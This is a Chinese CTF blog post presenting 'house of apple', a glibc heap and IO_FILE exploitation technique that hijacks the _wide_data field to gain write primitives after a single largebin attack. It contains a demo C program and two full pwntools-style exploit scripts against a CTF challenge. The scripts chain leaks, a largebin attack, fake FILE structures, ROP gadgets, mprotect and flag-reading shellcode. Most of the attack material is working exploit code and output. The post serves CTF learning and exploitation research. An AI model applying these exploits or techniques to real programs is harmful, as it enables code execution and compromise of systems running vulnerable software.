本文首发于看雪论坛,仅在个人博客记录
分享一系列新的glibc
中IO
利用思路,暂且命名为house of apple
。
这篇是house of apple1
。
本站的house of apple
系列文章的地址为:
前言
众所周知,glibc
高版本逐渐移除了__malloc_hook/__free_hook/__realloc_hook
等等一众hook
全局变量,ctf
中pwn
题对hook
钩子的利用将逐渐成为过去式。而想要在高版本利用成功,基本上就离不开对IO_FILE
结构体的伪造与IO
流的攻击。之前很多师傅都提出了一些优秀的攻击方法,比如house of pig、house of kiwi 和 house of emma等。
其中,house of pig
除了需要劫持IO_FILE
结构体,还需要劫持tcache_perthread_struct
结构体或者能控制任意地址分配;house of kiwi
则至少需要修改三个地方的值:_IO_helper_jumps + 0xA0
和_IO_helper_jumps + 0xA8
,另外还要劫持_IO_file_jumps + 0x60
处的_IO_file_sync
指针;而house of emma
则至少需要修改两个地方的值,一个是tls
结构体的point_guard
(或者想办法泄露出来),另外需要伪造一个IO_FILE
或替换vtable
为xxx_cookie_jumps
的地址。
总的来看,如果想使用上述方法成功地攻击IO
,至少需要两次写或者一次写和一次任意地址读。而在只给一次任意地址写(如一次largebin attack
)的情景下是很难利用成功的。
largebin attack
是高版本中为数不多的可以任意地址写一个堆地址的方法,并常常和上述三种方法结合起来利用。本文将给出一种新的利用方法,在仅使用一次largebin attack
并限制读写次数的条件下进行FSOP
利用。顺便说一下,house of banana 也只需要一次largebin attack
,但是其攻击的是rtld_global
结构体,而不是IO
流。
上述方法利用成功的前提均是已经泄露出libc
地址和heap
地址。本文的方法也不例外。
利用条件
使用house of apple
的条件为:
1、程序从main
函数返回或能调用exit
函数
2、能泄露出heap
地址和libc
地址
3、 能使用一次largebin attack
(一次即可)
利用原理
原理解释均基于amd64
程序。
当程序从main
函数返回或者执行exit
函数的时候,均会调用fcloseall
函数,该调用链为:
最后会遍历_IO_list_all
存放的每一个IO_FILE
结构体,如果满足条件的话,会调用每个结构体中vtable->_overflow
函数指针指向的函数。
使用largebin attack
可以劫持_IO_list_all
变量,将其替换为伪造的IO_FILE
结构体,而在此时,我们其实仍可以继续利用某些IO
流函数去修改其他地方的值。要想修改其他地方的值,就离不开_IO_FILE
的一个成员_wide_data
的利用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
struct _IO_FILE_complete
{
struct _IO_FILE _file;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data; // 劫持这个变量
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
|
amd64
程序下,struct _IO_wide_data *_wide_data
在_IO_FILE
中的偏移为0xa0
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
amd64:
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
|
我们在伪造_IO_FILE
结构体的时候,伪造_wide_data
变量,然后通过某些函数,比如_IO_wstrn_overflow
就可以将已知地址空间上的某些值修改为一个已知值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_wstrnfile structure. */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
/* Since we are not really interested in storing the characters
which do not fit in the buffer we simply ignore it. */
return c;
}
|
分析一下这个函数,首先将fp
强转为_IO_wstrnfile *
指针,然后判断fp->_wide_data->_IO_buf_base != snf->overflow_buf
是否成立(一般肯定是成立的),如果成立则会对fp->_wide_data
的_IO_write_base
、_IO_read_base
、_IO_read_ptr
和_IO_read_end
赋值为snf->overflow_buf
或者与该地址一定范围内偏移的值;最后对fp->_wide_data
的_IO_write_ptr
和_IO_write_end
赋值。
也就是说,只要控制了fp->_wide_data
,就可以控制从fp->_wide_data
开始一定范围内的内存的值,也就等同于任意地址写已知地址。
这里有时候需要绕过_IO_wsetb
函数里面的free
:
1
2
3
4
5
6
7
8
9
10
11
12
|
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free (f->_wide_data->_IO_buf_base); // 其不为0的时候不要执行到这里
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
|
_IO_wstrnfile
涉及到的结构体如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
char overflow_buf[64];
} _IO_strnfile;
typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
wchar_t overflow_buf[64]; // overflow_buf在这里********
} _IO_wstrnfile;
|
其中,overflow_buf
相对于_IO_FILE
结构体的偏移为0xf0
,在vtable
后面。
而struct _IO_wide_data
结构体如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
|
换而言之,假如此时在堆上伪造一个 _IO_FILE
结构体并已知其地址为 A
,将 A + 0xd8
替换为 _IO_wstrn_jumps
地址,A + 0xa0
设置为 B
,并设置其他成员以便能调用到 _IO_OVERFLOW
。exit
函数则会一路调用到 _IO_wstrn_overflow
函数,并将 B
至 B + 0x38
的地址区域的内容都替换为 A + 0xf0
或者 A + 0x1f0
。
简单写一个demo
程序进行验证:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
puts("[*] allocate a 0x100 chunk");
size_t *p1 = malloc(0xf0);
size_t *tmp = p1;
size_t old_value = 0x1122334455667788;
for (size_t i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts("===========================old value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================old value=======================");
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t stderr_write_ptr_addr = puts_addr + 0x1997b8;
printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
size_t stderr_flags2_addr = puts_addr + 0x199804;
printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
size_t stderr_wide_data_addr = puts_addr + 0x199830;
printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
size_t sdterr_vtable_addr = puts_addr + 0x199868;
printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
puts("[+] step 1: change stderr->_IO_write_ptr to -1");
*(size_t *)stderr_write_ptr_addr = (size_t)-1;
puts("[+] step 2: change stderr->_flags2 to 8");
*(size_t *)stderr_flags2_addr = 8;
puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
*(size_t *)stderr_wide_data_addr = (size_t)p1;
puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
*(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
puts("[+] step 5: call fcloseall and trigger house of apple");
fcloseall();
tmp = p1;
puts("===========================new value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================new value=======================");
}
|
输出结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
roderick@ee8b10ad26b9:~/hack$ gcc demo.c -o demo -g -w && ./demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55cfb956d2a0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2b0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2c0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f648b8a6ef0
[*] stderr->_IO_write_ptr address: 0x7f648ba406a8
[*] stderr->_flags2 address: 0x7f648ba406f4
[*] stderr->_wide_data address: 0x7f648ba40720
[*] stderr->vtable address: 0x7f648ba40758
[*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55cfb956d2a0]: 0x00007f648ba40770 0x00007f648ba40870
[0x55cfb956d2b0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2c0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2d0]: 0x00007f648ba40770 0x00007f648ba40870
===========================new value=======================
|
从输出中可以看到,已经成功修改了sdterr->_wide_data
所指向的地址空间的内存。
利用思路
从上面的分析可以,在只给了1
次largebin attack
的前提下,能利用_IO_wstrn_overflow
函数将任意地址空间上的值修改为一个已知地址,并且这个已知地址通常为堆地址。那么,当我们伪造两个甚至多个_IO_FILE
结构体,并将这些结构体通过chain
字段串联起来就能进行组合利用。基于此,我总结了house of apple
下至少四种利用思路。
思路一:修改tcache
线程变量
该思路需要借助house of pig
的思想,利用_IO_str_overflow
中的malloc
进行任意地址分配,memcpy
进行任意地址覆盖。其代码片段如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
int
_IO_str_overflow (FILE *fp, int c)
{
// ......
char *new_buf;
char *old_buf = fp->_IO_buf_base; // 赋值为old_buf
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size); // 这里任意地址分配
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen); // 劫持_IO_buf_base后即可任意地址写任意值
free (old_buf);
// .......
}
|
利用步骤如下:
- 伪造至少两个
_IO_FILE
结构体
- 第一个
_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_wstrn_overflow
函数修改tcache
全局变量为已知值,也就控制了tcache bin
的分配
- 第二个
_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_str_overflow
中的malloc
函数任意地址分配,并使用memcpy
使得能够任意地址写任意值
- 利用两次任意地址写任意值修改
pointer_guard
和IO_accept_foreign_vtables
的值绕过_IO_vtable_check
函数的检测(或者利用一次任意地址写任意值修改libc.got
里面的函数地址,很多IO
流函数调用strlen/strcpy/memcpy/memset
等都会调到libc.got
里面的函数)
- 利用一个
_IO_FILE
,随意伪造vtable
劫持程序控制流即可
因为可以已经任意地址写任意值了,所以这可以控制的变量和结构体非常多,也非常地灵活,需要结合具体的题目进行利用,比如题目中_IO_xxx_jumps
映射的地址空间可写的话直接修改其函数指针即可。
思路二:修改mp_
结构体
该思路与上述思路差不多,不过对tcachebin
分配的劫持是通过修改mp_.tcache_bins
这个变量。打这个结构体的好处是在攻击远程时不需要爆破地址,因为线程全局变量、tls
结构体的地址本地和远程并不一定是一样的,有时需要爆破。
利用步骤如下:
- 伪造至少两个
_IO_FILE
结构体
- 第一个
_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_wstrn_overflow
函数修改mp_.tcache_bins
为很大的值,使得很大的chunk
也通过tcachebin
去管理
- 接下来的过程与上面的思路是一样的
思路三:修改pointer_guard
线程变量之house of emma
该思路其实就是house of apple + house of emma
。
利用步骤如下:
- 伪造两个
_IO_FILE
结构体
- 第一个
_IO_FILE
结构体执行_IO_OVERFLOW
的时候,利用_IO_wstrn_overflow
函数修改tls
结构体pointer_guard
的值为已知值
- 第二个
_IO_FILE
结构体用来做house of emma
利用即可控制程序执行流
思路四:修改global_max_fast
全局变量
这个思路也很灵活,修改掉这个变量后,直接释放超大的chunk
,去覆盖掉point_guard
或者tcache
变量。我称之为house of apple + house of corrision
。
利用过程与前面也基本是大同小异,就不在此详述了。
其实也有其他的思路,比如还可以劫持main_arena
,不过这个结构体利用起来会更复杂,所需要的空间将更大。而在上述思路的利用过程中,可以选择错位构造_IO_FILE
结构体,只需要保证关键字段满足要求即可,这样可以更加节省空间。
例题分析
这里以某次市赛的题为例,题目为pwn_oneday
,附件下载链接在这里。
这个题目禁止了execve
系统调用,能分配的chunk
的大小基本是固定的,并且只允许1
次读和1
次写,最多只能分配0x10
次,使用的glibc
版本为2.34
。
题目分析
initial
首先是初始化,开启了沙盒:
main
main
函数必须选一个key
,大小在6-10
。也就是说,分配的chunk
都会属于largebin
范围。
add
限制了只能分配key+0x10
、key+0x20
、2 * key + 0x10
大小的chunk
dele
存在UAF
,没有清空指针。
read
只给1
次机会读。
write
只给一次机会写,并只泄露出0x10
个字节的数据。
利用过程
这道题的限制还是很多的,当然,给的漏洞也很明显。但是程序里面没有使用与IO
有关的函数,全部使用原始的read/write
去完成读写操作,并且使用glibc-2.34
版本,这个版本里面去掉了很多的hook
变量。
很明显,需要使用一次读泄露出libc
地址和heap
地址,然后用一次写做一次largebin attack
。
如果用largebin attack
去劫持_rtld_global
的link_map
成员,那么还需要一次写去绕过for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
,否则这里会造成死循环;如果打l_addr
成员,会发现能分配的堆的空间不足,l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
的值为0x201d70
,而就算每次分配0xaa0 * 2 + 0x10
,再分配16
次也没这么大。至于劫持别的成员,受限于沙盒,也很难完成利用。
由于限制了读写次数为1
次,就很难再泄露出pointer_guard
的值,也很难再覆盖pointer_guard
的值,所以与pointer_guard
有关的利用也基本行不通。
因此,选择使用house of apple
劫持_IO_FILE->_wide_data
成员进行利用。
在利用之前,还有一些准备工作需要做。我们需要进行合理的堆风水布局,使得能够在修改一个largebin chunk A
的bk_nextsize
的同时伪造一个chunk B
,并需要让A
和B
在同一个bins
数组中,然后释放B
并进行largebin attack
,这样就能保证既完成任意地址写堆地址,也能控制写的堆地址所属的chunk
的内容。
对三种大小chunk
的size
进行分析,并设x = key + 0x10
,y = key + 0x20
, z = key * 2 + 0x10
。那么有:
1
2
|
2 * y - z = 2 * key + 0x40 - 2 * key - 0x10 = 0x30
2 * y - 2 * x = 2 *key + 0x40 - 2 * key - 0x20 = 0x20
|
题目中还存在UAF
,于是就可以的构造出如下布局:
堆风水步骤为:
- 释放
chunk 1
,并将其置于largebin
中
- 利用一次写的机会,修改
chunk 2
,此时修改了chunk1
的bk_nextsize
,并伪造一个chunk 3
- 释放
chunk 3
,在其入链的过程中触发largebin attack
,即可任意地址写一个堆地址
经过计算,这里选择key
为0xa
,此时chunk 1
的大小为0xab0
,伪造的chunk 3
的大小为0xa80
。
基于上面对house of apple
的分析,首先使用思路三修改pointer_guard
,然后进行house of emma
利用。由于pointer_guard
是fs:[0x30]
,而canary
是fs:[0x28]
,所以直接找canary
,然后利用pwndbg
的search
命令搜索即可,如下所示:
此时的利用步骤如下:
-
利用一次write
的机会泄露出libc
地址和heap
地址
-
利用堆风水,构造1
次largebin attack
,替换_IO_list_all
为堆地址
-
利用house of apple
,修改掉pointer_guard
的值
-
利用house of emma
并结合几个gadgets
控制rsp
-
用rop
链输出flag
其exp
如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
small = 1
medium = 2
large = 3
key = 10
def add(c):
sla("enter your command: \n", "1")
sla("choise: ", str(c))
def dele(i):
sla("enter your command: \n", "2")
sla("Index: \n", str(i))
def read_once(i, data):
sla("enter your command: \n", "3")
sla("Index: ", str(i))
sa("Message: \n", flat(data, length=0x110 * key))
def write_once(i):
sla("enter your command: \n", "4")
sla("Index: ", str(i))
ru("Message: \n")
m = rn(0x10)
d1 = u64_ex(m[:8])
d2 = u64_ex(m[8:])
log_address_ex("d1")
log_address_ex("d2")
return d1, d2
def bye():
sla("enter your command: \n", "9")
sla("enter your key >>\n", str(key))
add(medium)
add(medium)
add(small)
dele(2)
dele(1)
dele(0)
add(small)
add(small)
add(small)
add(small)
dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0
dele(4)
dele(6)
add(large)
add(small)
add(small)
dele(8)
add(large)
target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_cookie_jumps = libc_base + 0x1f3ae0
_lock = libc_base + 0x1f5720
point_guard_addr = libc_base - 0x2890
expected = heap_base + 0x1900
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020
mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729
f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumps
f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _lock
f2._mode = 0
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58
data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
0x100: [
add_rsp_0x20_pop_rbx_ret,
chain + 0x100,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc.sym.mprotect,
chain + 0x200
],
0x200: ShellcodeMall.amd64.cat_flag
}
},
0xa80: [0, 0xab1]
}
})
read_once(5, data)
dele(2)
add(large)
bye()
ia()
ia()
|
调试截图如下:
修改掉pointer_guard
:
然后使用_IO_cookie_read
控制程序执行流:
成功劫持rsp
:
接下来使用思路一,修改tcache
变量,对于该变量的寻找同样可以使用search
命令:
此时的步骤如下:
- 使用
house of apple
修改tcache
变量为可控堆地址
- 使用
_IO_str_overflow
完成任意地址写任意值,由于_IO_str_jumps
区域是可写的,所以我选择覆盖这里
- 仍然利用一些
gadgets
劫持rsp
,然后rop
泄露出flag
exp
如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
small = 1
medium = 2
large = 3
key = 10
def add(c):
sla("enter your command: \n", "1")
sla("choise: ", str(c))
def dele(i):
sla("enter your command: \n", "2")
sla("Index: \n", str(i))
def read_once(i, data):
sla("enter your command: \n", "3")
sla("Index: ", str(i))
sa("Message: \n", flat(data, length=0x110 * key))
def write_once(i):
sla("enter your command: \n", "4")
sla("Index: ", str(i))
ru("Message: \n")
m = rn(0x10)
d1 = u64_ex(m[:8])
d2 = u64_ex(m[8:])
log_address_ex("d1")
log_address_ex("d2")
return d1, d2
def bye():
sla("enter your command: \n", "9")
sla("enter your key >>\n", str(key))
add(medium) # 0
add(medium) # 1
add(small) # 2 fake
dele(2)
dele(1)
dele(0)
add(small) # 3
add(small) # 4
add(small) # 5 write
add(small) # 6
dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0
dele(4)
dele(6)
add(large)
add(small) # 8 del
add(small) # gap
dele(8)
add(large)
target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_str_jumps = libc_base + 0x1f4620
_lock = libc_base + 0x1f5720
tcache = libc_base - 0x2908
tcache_perthread_struct = heap_base + 0x1a10
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020
mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729
f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = tcache - 0x38
f1.vtable = _IO_wstrn_jumps
f2 = IO_FILE_plus_struct()
f2.flags = 0
f2._IO_write_base = 0
f2._IO_write_ptr = 0x1000
f2.chain = chain + 0x200
f2._IO_buf_base = chain + 0xf0
f2._IO_buf_end = chain + 0xf0 + 0x20
f2._lock = _lock
f2._mode = 0
f2.vtable = _IO_str_jumps
f3 = IO_FILE_plus_struct()
f3._IO_read_ptr = chain + 0x110
f3._IO_write_base = 0
f3._IO_write_ptr = 1
f3._lock = _lock
f3._mode = 0
f3.vtable = _IO_str_jumps
data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [0, 0x31, [magic_gadget] * 4],
0x110: [
add_rsp_0x20_pop_rbx_ret,
0x21,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc.sym.mprotect,
chain + 0x300
],
0x1b8: _IO_str_jumps,
0x200: bytes(f3),
0x300: ShellcodeMall.amd64.cat_flag
}
},
0xa80: [0, 0xab1]
}
})
read_once(5, data)
dele(2)
add(large)
bye()
ia()
|
调试截图:
修改掉tache
变量:
然后分配到_IO_str_jumps
:
后面的过程就一样了:
最后成功输出flag
:
总结
之前的一些IO
流攻击方法对_wide_data
的关注甚少,本文提出一种新的方法,劫持了_wide_data
成员并在仅进行1
次largebin attack
的条件下成功进行FSOP
利用。且该方法可通杀所有版本的glibc
。
可以看到,house of apple
是对现有一些IO
流攻击方法的补充,能在一次劫持IO
流的过程中做到任意地址写已知值,进而构造出其他方法攻击成功的条件。